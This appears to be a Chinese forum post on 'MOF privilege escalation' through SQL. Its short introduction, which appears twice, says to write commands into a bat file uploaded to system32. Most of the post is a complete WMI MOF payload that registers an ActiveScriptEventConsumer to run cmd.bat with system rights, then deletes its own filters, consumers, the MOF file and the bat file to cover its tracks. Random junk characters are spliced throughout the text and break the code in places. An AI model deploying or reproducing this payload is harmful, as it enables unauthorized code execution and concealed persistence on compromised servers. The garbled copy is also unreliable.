这个sql提权MOF需要运行 system下的文件,不能定义路径。8 L/ t7 I( x8 \% U+ C9 u. `+ ]
需要将要运行的命令写入到bat上传到system32目录,然后执行。
+ I. R/ r5 N5 H+ F/ z7 ]2 B3 W$ [- C$ a+ S# p( ?
这个sql提权MOF需要运行 system下的文件,不能定义路径。- o" S9 B( k3 H: j
需要将要运行的命令写入到bat上传到system32目录,然后执行。
) O2 O, d0 j6 X( i3 {6 ?; x4 B. `2 V2 A- @% z3 f
#pragma. B% t6 D0 ?5 x
namespace("\\\\.\\root\\cimv2")
& y6 W A+ X/ W1 M9 S; G" _5 O! s class
& ^" k2 C6 T: F# r; \1 E5 N! a MyClass5476 O; a, |8 f# o& ]
{ [key]
9 ~- v/ q4 L; v string% ~# c( M1 z) i' Z9 d: z3 i. K
Name;
* n. z- z- `* L };
$ a" ~) Q) n9 C, a a& X l class
2 Y( d5 Z6 t, e ActiveScriptEventConsumer
! o! k( [ v- D : __EventConsumer { [key]. v/ R% V, y/ l1 V
string9 X) K+ h! C& l! I( z
Name; [not_null]2 m0 S$ n d5 Z7 k( `" W- d, N
string
' x; ~0 c* d: F; b% L1 l4 S' Y$ x* F ScriptingEngine; string" O% n+ c1 y2 t" P2 u ]: T; i4 n) Q
ScriptFileName; [template]3 R! p$ U) l3 ^ n ]* i$ G: j
string" H; t/ w9 u ^5 ?0 y* m* K6 F% y
ScriptText; uint32 KillTimeout;
+ e' y0 J1 C6 k s }; instance of __Win32Provider as $P {
4 x7 |$ s+ i# ] r* L Name& Y, `( o7 T5 S8 Q+ L6 }
=% t6 ^3 {+ Y) N" q
"ActiveScriptEventConsumer"; CLSID =. E/ z, h6 ?5 G7 k3 r
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";4 e$ Q& g4 U9 Q$ d
PerUserInitialization7 `$ j9 T' w: i; Y' k
= TRUE;
1 w d+ q; E8 j& t4 Z1 D& ~ }; instance of __EventConsumerProviderRegistration { Provider
/ v1 E$ p" y. o" C = $P; ConsumerClassNames
1 i3 z6 T+ {' F5 ^$ P7 e* Q4 X =5 J i' R* D4 J, N3 K3 h+ }
{"ActiveScriptEventConsumer"};
7 k" m/ X/ D& h/ A };
3 u# d+ w8 ?1 p, V+ M Instance of ActiveScriptEventConsumer6 S v) e$ G$ n2 V
as $cons { Name
8 o2 w8 P- W3 g =
+ \3 g% U% S1 X- S4 E' Z) P2 b "ASEC"; ScriptingEngine$ E0 i* l6 E. \) U1 r# |
=5 ?! V; a; H: r$ i2 S% M" k& A- @
"JScript"; ScriptText
0 X- h5 T$ [7 _ =1 Y- b! U) w2 k+ _
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
/ D) \; ^1 l/ P Instance of ActiveScriptEventConsumer
" J! F4 f `: o m/ `( ^ as $cons2 { Name
. T+ Z8 ` _/ W! Q" @5 O, l' {# u =
* D$ ^- Z$ u# B7 u5 Z) B: A "qndASEC"; ScriptingEngine
7 a6 D" Q" u8 _8 {/ R* s) G0 u =
9 ?! X, H, h5 A0 l "JScript"; ScriptText
- ^7 S4 w! K! v n =$ H p7 K! J. W! C2 J0 e1 G
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";; A/ p& {/ @6 c: D
}; instance of __EventFilter as $Filt { Name
8 w* ?7 Z8 U8 K =
. m, A! Z( Z) [: E0 S3 X& {( ? "instfilt"; Query' J+ o1 U2 a& q6 O* h
=
: _, ]/ }) M' T8 T1 ^ "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
& e6 w& c4 `' f k4 w8 l =0 H7 }: [/ i: f& J6 g
"WQL"; }; instance of __EventFilter as $Filt2 { Name
5 t2 W/ R; c1 l Z8 a =3 D# i# y' E4 s
"qndfilt"; Query
7 P4 d( {) W# W2 B =8 ?* F: k5 b4 v/ W4 j
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage, O8 F- q' H% q$ b# B; Y- g, B- W
=& I2 `. ?% I' s/ E8 C
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
' s) {$ g' A$ a% o = $cons; Filter
( P, a, P9 n4 v/ r# k8 A$ ? Z8 U = $Filt;# u5 F7 B& w, i+ N
}; instance of __FilterToConsumerBinding as $bind2 { Consumer: x3 Q$ H& c2 y1 t
= $cons2; Filter7 u! \$ R% x) L6 t' H
= $Filt2;
! @* a, C! u4 @. m }; instance of MyClass547 D" y# S6 }' m, t( H1 c2 t2 @# H
as $MyClass { Name+ \9 S6 |% s$ s% h3 |% d% i' q
=
0 m# a) A' i& L& ?/ E "ClassConsumer";
$ _! W' N9 s$ D6 K2 ], H: n7 q }; |